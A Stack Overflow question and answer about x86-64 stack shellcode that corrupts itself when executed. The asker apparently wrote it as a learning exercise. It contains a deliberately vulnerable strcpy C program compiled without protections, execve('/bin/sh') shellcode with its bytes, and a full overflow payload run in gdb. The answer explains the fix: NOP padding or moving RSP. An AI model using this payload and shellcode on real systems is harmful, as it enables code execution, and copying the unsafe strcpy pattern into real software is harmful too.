user918176
user918176

Reputation: 1800

Code in stack changes by itself

I am testing running code in stack, by causing an overflow. I get the instructor pointer to my assembler code in stack, and it starts running. However at one point the instructions seem to change by itself, and I have some slight trouble fixing this.

bug2.c:

#include <stdio.h>
# Very simple case, compiled by
# gcc -o bug2 -z execstack -fno-pie -fno-stack-protector bug2.c

int main(int argc, char * argv[]) {

    char buf[256];

    if(argc == 1) {

        printf("Usage: %s input\n", argv[0]);
        exit(0);

    }

    strcpy(buf,argv[1]);
    printf("%s", buf);

}

scode3.asm:

SECTION .text
    global _start

_start:

    xor rdx, rdx
    mov rbx, 0x68732f6e69622fff
    shr rbx, 0x8
    push    rbx
    mov     rdi, rsp
    xor     rax, rax
    push    rax
    push    rdi
    mov     rsi, rsp
    mov al, 0x3b
    syscall

    push    0x1
    pop     rdi
    push    0x3c
    pop     rax
    syscall

Testing the scode3.asm and getting the shellcode:

$ nasm -f elf64 -o scode3.o scode3.asm
$ ld -o scode3 scode3.o
$ ./scode3
$ ... gave new shell... exit...
$ objdump -d scode3

scode3:     file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
  400080:   48 31 d2                xor    %rdx,%rdx
  400083:   48 bb ff 2f 62 69 6e    movabs $0x68732f6e69622fff,%rbx
  40008a:   2f 73 68 
  40008d:   48 c1 eb 08             shr    $0x8,%rbx
  400091:   53                      push   %rbx
  400092:   48 89 e7                mov    %rsp,%rdi
  400095:   48 31 c0                xor    %rax,%rax
  400098:   50                      push   %rax
  400099:   57                      push   %rdi
  40009a:   48 89 e6                mov    %rsp,%rsi
  40009d:   b0 3b                   mov    $0x3b,%al
  40009f:   0f 05                   syscall 
  4000a1:   6a 01                   pushq  $0x1
  4000a3:   5f                      pop    %rdi
  4000a4:   6a 3c                   pushq  $0x3c
  4000a6:   58                      pop    %rax
  4000a7:   0f 05                   syscall 

This makes "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f
\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31
\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01
\x5f\x6a\x3c\x58\x0f\x05"

Then the testing:

gdb -q bug2
# Let's put breakpoint at the printf (see the c code)
> break *0x0000000000400641
 Breakpoint 1 at 0x400641
> x/i 0x0000000000400641
 0x400641 <main+123>:   call   0x400490 <printf@plt>
# Run with something that overflows, puts assembler code in stack, and leaves a pointer in stack pointing to the beginning of the assembler code
> run `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
Starting program: /home/meh/bug2 `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0000000000000000  RCX: 0xBE90050F583C6A5F  RDX: 0x007FFFFFFFDCBE90  o d I t s z a P c 
  RSI: 0x00007FFFFFFFDBE0  RDI: 0x00000000004006F1  RBP: 0x00007FFFFFFFDCE0  RSP: 0x00007FFFFFFFDBD0  RIP: 0x0000000000400641
  R8 : 0x000000335BDB8E80  R9 : 0x000000335BDB8E80  R10: 0x000000000000005D  R11: 0x000000335BB7F980  R12: 0x00000000004004D0
  R13: 0x00007FFFFFFFDDC0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x400641 <main+123>: call   0x400490 <printf@plt>
   0x400646 <main+128>: leave  
   0x400647 <main+129>: ret    
   0x400648:    nop    DWORD PTR [rax+rax*1+0x0]
   0x400650 <__libc_csu_init>:  push   r15
   0x400652 <__libc_csu_init+2>:    push   r14
   0x400654 <__libc_csu_init+4>:    mov    r15d,edi
   0x400657 <__libc_csu_init+7>:    push   r13
-----------------------------------------------------------------------------------------------------------------------------

Breakpoint 1, 0x0000000000400641 in main ()

# Okay, now let's step to the point where the instruction pointer is at the code that was put in stack:

> n 3
 0x00007fffffffdcbe in ?? ()
> x/16i 0x00007fffffffdcbe
=> 0x7fffffffdcbe:  xor    rdx,rdx
   0x7fffffffdcc1:  movabs rbx,0x68732f6e69622fff
   0x7fffffffdccb:  shr    rbx,0x8
   0x7fffffffdccf:  push   rbx
   0x7fffffffdcd0:  mov    rdi,rsp
   0x7fffffffdcd3:  xor    rax,rax
   0x7fffffffdcd6:  push   rax
   0x7fffffffdcd7:  push   rdi
   0x7fffffffdcd8:  mov    rsi,rsp
   0x7fffffffdcdb:  mov    al,0x3b
   0x7fffffffdcdd:  syscall 
   0x7fffffffdcdf:  push   0x1
   0x7fffffffdce1:  pop    rdi
   0x7fffffffdce2:  push   0x3c
   0x7fffffffdce4:  pop    rax
   0x7fffffffdce5:  syscall

This looks like correct code. Then stepping manually towards the syscall:

> si
=> 0x7fffffffdcd6:  push   rax
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0068732F6E69622F  RCX: 0x000000007FFFFEF1  RDX: 0x0000000000000000  o d I t s Z a P c 
  RSI: 0x00000000004006F3  RDI: 0x00007FFFFFFFDCE8  RBP: 0x90050F583C6A5F01  RSP: 0x00007FFFFFFFDCE0  RIP: 0x00007FFFFFFFDCD7
  R8 : 0x00000000FFFFFFFF  R9 : 0x000000000000010E  R10: 0x0000000000000022  R11: 0x0000000000000246  R12: 0x00000000004004D0
  R13: 0x00007FFFFFFFDDC0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd7:  push   rdi
   0x7fffffffdcd8:  mov    rsi,rsp
   0x7fffffffdcdb:  mov    al,0x3b
   0x7fffffffdcdd:  syscall 
   0x7fffffffdcdf:  push   0x0
   0x7fffffffdce1:  add    BYTE PTR [rax],al
   0x7fffffffdce3:  add    BYTE PTR [rax],al
   0x7fffffffdce5:  add    BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd7 in ?? ()

(gdb) > si
=> 0x7fffffffdcd7:  push   rdi
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0068732F6E69622F  RCX: 0x000000007FFFFEF1  RDX: 0x0000000000000000  o d I t s Z a P c 
  RSI: 0x00000000004006F3  RDI: 0x00007FFFFFFFDCE8  RBP: 0x90050F583C6A5F01  RSP: 0x00007FFFFFFFDCD8  RIP: 0x00007FFFFFFFDCD8
  R8 : 0x00000000FFFFFFFF  R9 : 0x000000000000010E  R10: 0x0000000000000022  R11: 0x0000000000000246  R12: 0x00000000004004D0
  R13: 0x00007FFFFFFFDDC0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd8:  call   0x7fffffffdcb9
   0x7fffffffdcdd:  jg     0x7fffffffdcdf
   0x7fffffffdcdf:  add    BYTE PTR [rax],al
   0x7fffffffdce1:  add    BYTE PTR [rax],al
   0x7fffffffdce3:  add    BYTE PTR [rax],al
   0x7fffffffdce5:  add    BYTE PTR [rax],al
   0x7fffffffdce7:  add    BYTE PTR [rdi],ch
   0x7fffffffdce9:  (bad)  
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd8 in ?? ()

I was expecting the next instruction to be mov rsi,rsp but it seems everything forward from that point has changed.

I suspect the pushing to stack overwrites my previously inserted data (instructions)? What would be the minimal way to fix this?

I tried moving the code a bit with something like

run `perl -e 'print "\x90" x (263-81) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90" x 40 . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`

but it did not seem to help for me.

Upvotes: 1

Views: 513

Answers (1)

tux3
tux3

Reputation: 7330

I suspect the pushing to stack overwrites my previously inserted data (instructions)? What would be the minimal way to fix this?

That's right, you're essentially modifying the code under your own feet (or rather, your own RIP). There are two simple solutions that come to mind

  • NOP padding

Start your shellcode with a couple dozen gratuitous NOP instructions, this way when you reach the PUSH instructions what gets overwritten is the NOPs way behind you, not the code you're currently trying to run.

  • Move RSP out of the way

If you don't plan on returning to the normal stack frame from your shellcode and you have severe size constraints, you can move RSP up the stack a little so that PUSHes will not happen right under your current RIP. This will overwrite important information on the stack, but you may not mind if you're already running your shellcode in there.

Upvotes: 1

Related Questions